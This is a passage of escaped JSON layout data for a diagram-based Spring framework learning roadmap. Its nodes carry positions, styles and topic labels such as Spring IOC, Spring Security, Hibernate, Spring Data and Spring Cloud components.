\"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KdN62IpNgPFMndXfLaYa1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 282.71361308804387\n      }\n    },\n    {\n      \"id\": \"PlUU_vzFQ3Xx6Z5XREIYP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 335.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring IOC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KdN62IpNgPFMndXfLaYa1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 335.71361308804387\n      }\n    },\n    {\n      \"id\": \"wV1_I_4czMIxpBionvLs4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 388.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring AOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KdN62IpNgPFMndXfLaYa1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 388.71361308804387\n      }\n    },\n    {\n      \"id\": \"QiNWE4sMTao3cVzjt3yPp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 441.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring MVC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KdN62IpNgPFMndXfLaYa1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 441.71361308804387\n      }\n    },\n    {\n      \"id\": \"HdCpfGMrMaXxk5QrtYn3X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 494.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Annotations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KdN62IpNgPFMndXfLaYa1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 494.71361308804387\n      }\n    },\n    {\n      \"id\": \"KdN62IpNgPFMndXfLaYa1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 547.7136130880439\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Bean Scope\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 547.7136130880439\n      }\n    },\n    {\n      \"id\": \"WrUCyVfFNUpHB8jyjjKna\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 70.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Terminology\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WGf3W6bdWL0rK0o6O28G2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 70.71361308804387\n      }\n    },\n    {\n      \"id\": \"yuXN-rD4AyyPYUYOR50L_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 123.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WGf3W6bdWL0rK0o6O28G2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 123.71361308804387\n      }\n    },\n    {\n      \"id\": \"WGf3W6bdWL0rK0o6O28G2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 176.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Why use Spring?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 176.71361308804387\n      }\n    },\n    {\n      \"id\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 323.0143553645502\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C2N5yOxCtdn_R6ceWvQly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 323.0143553645502\n      }\n    },\n    {\n      \"id\": \"ssdk2iAt4avhc8B5tnIzQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 254.25996814340215\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 254.25996814340215\n      }\n    },\n    {\n      \"id\": \"c7w7Z3Coa81FKa_yAKTse\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 307.25996814340215\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authorization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 307.25996814340215\n      }\n    },\n    {\n      \"id\": \"p7t3RlIIm9U08GFC6azff\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 360.25996814340215\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OAuth2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 360.25996814340215\n      }\n    },\n    {\n      \"id\": \"1My7mbdwAbRcJoiA50pWW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 413.25996814340215\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JWT Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 413.25996814340215\n      }\n    },\n    {\n      \"id\": \"Vx7GXHYuM0ZOB9_ovS6sw\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -286.8175069304428,\n        \"y\": 441.71361308804387\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Boot\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 67\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 143,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -286.8175069304428,\n        \"y\": 441.71361308804387\n      }\n    },\n    {\n      \"id\": \"JrH2hiu27PhIO1VtrArMa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 596.7136130880439\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Boot Starters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C2N5yOxCtdn_R6ceWvQly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 596.7136130880439\n      }\n    },\n    {\n      \"id\": \"88-h3d7kb-VmUBsnUUXW_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 649.7136130880439\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Autoconfiguration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C2N5yOxCtdn_R6ceWvQly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 649.7136130880439\n      }\n    },\n    {\n      \"id\": \"N7hd3d_XQtvOgnCqdCFt3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 702.7136130880439\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Actuators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C2N5yOxCtdn_R6ceWvQly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 702.7136130880439\n      }\n    },\n    {\n      \"id\": \"ONb0VnSUMY8JBeW3G2mTp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 755.7136130880439\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Embedded Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZWFWkB61L8UbG-SREw6SJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 755.7136130880439\n      }\n    },\n    {\n      \"id\": \"h5-HnycxfbJgwalSdXTAz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -663.3054618325863,\n        \"y\": 755.7136130880439\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hibernate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZWFWkB61L8UbG-SREw6SJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -663.3054618325863,\n        \"y\": 755.7136130880439\n      }\n    },\n    {\n      \"id\": \"H9Z0EvKT_148vD0mR-dUf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 560.5044010696047\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 560.5044010696047\n      }\n    },\n    {\n      \"id\": \"D4ybyh0ydvl9W2_xUcvZ_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 613.5044010696047\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Relationships\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 613.5044010696047\n      }\n    },\n    {\n      \"id\": \"Ijmy0J3VyaeTGXtu2VkkQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 666.5044010696047\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Entity Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 666.5044010696047\n      }\n    },\n    {\n      \"id\": \"pvVLbFQoT50vz_VRK4VbJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -663.3054618325863,\n        \"y\": 853.4919152447768\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZWFWkB61L8UbG-SREw6SJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -663.3054618325863,\n        \"y\": 853.4919152447768\n      }\n    },\n    {\n      \"id\": \"6u08QN-pUeFm3o0h5Scfm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 955.8193989499127\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Data JPA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 955.8193989499127\n      }\n    },\n    {\n      \"id\": \"fy-TphbqkLpR1zvFcr7dg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1008.8193989499127\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Data MongoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dd1A-MyzBs_kNOtVG7f1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1008.8193989499127\n      }\n    },\n    {\n      \"id\": \"dd1A-MyzBs_kNOtVG7f1D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1061.8193989499127\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Data JDBC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1061.8193989499127\n      }\n    },\n    {\n      \"id\": \"jU_KHoPUSU_HoIKk0ZpRF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 853.4919152447768\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Microservices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZWFWkB61L8UbG-SREw6SJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 853.4919152447768\n      }\n    },\n    {\n      \"id\": \"VWNDYSw83Vzi2UPQprJ5z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 853.4919152447768\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 853.4919152447768\n      }\n    },\n    {\n      \"id\": \"f-i0NX2KOzCh3JwkaSPFo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 641.2298102954034\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Cloud Gateway\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6sLE6gb5Y477SmO2GhQIG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 641.2298102954034\n      }\n    },\n    {\n      \"id\": \"9hG3CB8r41bUb_s8-0u73\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 694.2298102954034\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Config\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6sLE6gb5Y477SmO2GhQIG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 694.2298102954034\n      }\n    },\n    {\n      \"id\": \"kqpSlO--X9-xYxfq1KFVe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 747.2298102954034\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Cloud Circuit Breaker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6sLE6gb5Y477SmO2GhQIG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 747.2298102954034\n      }\n    },\n    {\n      \"id\": \"EKSXTMSN2xdaleJ4wOV1A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 955.2633845627711\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring Cloud Open Feign\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sgA06Tu9Y4cEHtfI8CyLL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 955.2633845627711\n      }\n    },\n    {\n      \"id\": \"GsmBGRohWbJ6XOaALFZ8o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.8618127280065,\n        \"y\": 1008.2633845627711\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Micrometer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6sLE6gb5Y477SmO2GhQIG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      